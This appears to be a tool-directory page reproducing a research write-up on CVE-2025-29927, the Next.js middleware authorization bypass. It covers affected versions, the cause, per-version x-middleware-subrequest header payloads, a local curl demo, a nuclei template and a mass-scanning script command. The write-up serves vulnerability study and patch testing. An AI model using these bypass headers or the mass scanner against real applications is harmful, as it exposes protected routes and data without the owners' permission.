Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-29927 | Kitploit
Tools/GitHubGitHub/iteride/cve-2025-29927
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubiteride/cve-2025-29927

CVE-2025-29927

View Repository
111 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-29927

Introduction

This document presents a study of the vulnerability CVE-2025-29927, affecting the Middleware mechanism in the Next.js framework.
Next.js is a popular open-source framework from Vercel for building React-based applications. It supports server-side rendering, static generation, and a flexible middleware system used for routing, redirects, security headers, and access control checks.

In March 2025, a critical vulnerability CVE-2025-29927 was discovered related to the handling of an internal subrequest header.
The core issue is the ability to bypass authorization checks in applications where access control is implemented solely in middleware by injecting a specific value into the HTTP header x-middleware-subrequest. If security relies only on middleware, an attacker can gain access to protected routes or data.

Affected Next.js versions and fixes (according to public sources and official materials):

  • 11.1.4 ≤ version < 12.3.5
  • 13.0.0 ≤ version < 13.5.9
  • 14.0.0 ≤ version < 14.2.25
  • 15.0.0 ≤ version < 15.2.3

Fixes are available in releases 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Next.js is widely used in production; a vulnerability affecting the middleware layer (often used for authentication/authorization and security policies) carries a high practical risk.


Report Objective

Step-by-step breakdown of the vulnerability and a complete research lifecycle:

Collection and structuring of materials.
Systematize public sources on CVE-2025-29927; describe the defect's essence, trigger conditions, and confirmed versions/patches.

Determination of CPE and configuration conditions.
Provide a list of CPE/versions and describe configurations under which the vulnerability is reproducible (e.g., self-hosted deployment and authorization at the middleware level).

Safe demonstration.
Prepare a reproducible demo in a test environment (without destructive actions) confirming the middleware bypass in vulnerable versions.

Mass testing methodologies.
Describe and implement three safe approaches:

  • nuclei (active mode with minimal impact),
  • nuclei (passive mode based on versions/indirect signs),
  • custom Python/Go script (multi-threaded active testing on test hosts).

Vulnerability Essence

middleware

  • Root cause. In Next.js, the internal header x-middleware-subrequest is used to track internal subrequests and prevent recursion in middleware. In vulnerable branches, external clients can inject this header with an "expected" value — and the runtime skips middleware execution, passing the request directly to the route handler.

  • Role of the header. The header x-middleware-subrequest was originally designed as an internal indicator that the current HTTP request was initiated by the framework itself as an intermediate subrequest, not directly from the user.
    It is needed for correct operation of Next.js internal mechanisms: besides routing, this flag helps avoid infinite recursion by "marking" each called middleware layer.
    But precisely this logic created an unintended security hole: a client adding such a header themselves can make the system treat their request as internal and thereby bypass authorization checks.

  • Evolution of the logic.

    • In earlier versions, the header is interpreted as a colon-separated list of values, and the mechanism compares it with the name/path of the active middleware.
    • In newer branches, protection against infinite recursion was added in the form of a depth counter; when the threshold (default 5) is reached, middleware is also skipped. This mechanism can be tricked if the header is formed "as if" the subrequest chain has already exhausted the limit.

Impact

  • Confidentiality and integrity. Unauthorized access to protected pages or APIs when access control is implemented only at the middleware level; potential data modification via protected endpoints.
  • Availability. Side effects such as cache poisoning can lead to incorrect caching and degraded availability in certain configurations.

CPE and Configuration Conditions

Official CPE (CPE 2.3)

Current NVD records indicate the product Vercel Next.js with the target software node.js. For vulnerable branches, the following configurations apply (version ranges defined at the CPE configuration level in NVD):

CPE URIVulnerable version range
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*11.1.4 ≤ v < 12.3.5

Note: the CVE description also states that overall "from 11.1.4 up to 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3" the vulnerability is reproducible under the conditions below.

Conditions for relevance in a production environment

  • Access control (authentication/authorization) is implemented in middleware and not duplicated in handlers/backend.
  • Deployment is self-hosted (e.g., next start, build with output: 'standalone') or any environment where middleware is executed on incoming requests without perimeter filtering of internal headers.
  • No external means that drop user requests with x-middleware-subrequest (e.g., WAF rules).

Internal Mechanism of x-middleware-subrequest

To prevent infinite recursion of middleware, the runtime creates and reads an internal header:

  1. The header value is interpreted as a string with elements separated by colon : — resulting in an array of "subrequests".
  2. Then the runtime checks:
    • whether the name/path of the current middleware appears in this array (in older branches this led to immediate skip via NextResponse.next()),
    • or whether the maximum recursion depth is reached (in newer branches a limit is applied, default 5), and if so, middleware is also skipped.
  3. To prevent forgery, patches added a separate subrequest identifier (x-middleware-subrequest-id), tied to the current process session; if it does not match, the incoming x-middleware-subrequest is cleared on the server side.

Exploitation Method

An attacker sends an HTTP request to the target Next.js application, adding the internal header x-middleware-subrequest.
The value contains the path to the middleware file — for example pages/_middleware, middleware or src/middleware.
The required value depends on the Next.js version used and the project structure.

When such a request reaches the application, the framework's internal logic treats it as an internal subrequest and assumes the middleware layer has already been executed.
As a result, authentication and authorization checks that normally occur in middleware are effectively bypassed.


PoC / Exploit

Important: this material is provided solely for testing the patch and modeling risk in a closed test environment.
Any checks in production infrastructure are only possible with the resource owner's permission.

General Principle

Next.js uses the x-middleware-subrequest header to mark internal subrequests and prevent recursive middleware execution.
When processing a request, the header value is split by : and compared with the name of the current middleware.
In newer versions, a depth limit (MAX_RECURSION_DEPTH, usually 5) is added.
If the condition (name match or limit reached) is met, Next.js skips middleware and forwards the request.
An attacker can craft a valid header value simulating an internal subrequest.

Exploitation by Version

1️⃣ Versions before 12.2: Pages Router and _middleware.*

  • Middleware files were named _middleware.js/ts and located in the pages/ directory.
  • The header value must match the file path, e.g.: x-middleware-subrequest: pages/_middleware

2️⃣ Versions 12.2 – 13.0.0: root middleware.*

  • From version 12.2, the underscore was removed: the file became middleware.js/ts.
  • It can be placed in the project root or under /src.
  • To bypass middleware, use the header: x-middleware-subrequest: middleware or x-middleware-subrequest: src/middleware

3️⃣ Versions 13.x and newer: recursion depth limit

  • A depth check was added: the header value is split by :, and if the count of the middleware name repetition is ≥ 5,
    Next.js considers the recursion condition reached and skips middleware via NextResponse.next().
  • For an attack, the header is formed as: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware or x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Specifics in Next.js 15.x

In releases 15.x, developers reworked the logic to prevent infinite recursive calls.
When middleware is triggered on a path (e.g., /api/*), Next.js obtains another URL that also triggers the same middleware.
The framework counts the number of triggers via the x-middleware-subrequest header.
If the call count reaches the set threshold (MAX_RECURSION_DEPTH, default 5), further middleware calls are blocked.
An attacker can exploit this behavior by pre‑specifying a header value with the required number of repetitions, thus artificially reaching the depth limit — as a result, middleware is completely skipped.

Example Request

for older branches, choose the header value according to the options above

root@kitploit:~
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Why This Works

x-middleware-subrequest was intended as an internal mechanism to prevent infinite recursion.
But in vulnerable versions, there was no filtering of external requests: a client could forge the header,
satisfy the skip condition (name match or depth limit),
and directly access the protected route handler.

Launching a Test Sandbox

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev

Testing:

(example based on Next.js 15.2.2; for other branches, choose the header value according to the table in the PoC section)

  1. Standard request:
root@kitploit:~
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
  1. Request with the x-middleware-subrequest header:
root@kitploit:~
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Protection Recommendations

  • Update Next.js to at least versions 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
  • If an update is delayed — filter or drop the external header x-middleware-subrequest at the WAF/proxy level.
  • Duplicate critical authorization checks in API handlers, not only in middleware.

Nuclei Template for Testing

  • This template combines passive and active checks of Next.js applications.
  • Passively analyzes headers and redirects to identify signs of Next.js and possible middleware behavior.
  • Actively tests middleware bypass using a specially crafted X-Middleware-Subrequest header.
  • Uses multiple payloads, increasing the likelihood of vulnerability detection — approximately 60% in standard test conditions.

nuclei

⚠️ Warning: the template is intended only for testing on your own or authorized targets. Use on third-party services without owner consent is illegal.

Mass Testing Script

  • The script supports multithreading, allowing quick scanning of a large number of services and paths.
  • Supports input of target lists and path lists via files.
root@kitploit:~
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
Download Tool
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*13.0.0 ≤ v < 13.5.9
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*14.0.0 ≤ v < 14.2.25
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*15.0.0 ≤ v < 15.2.3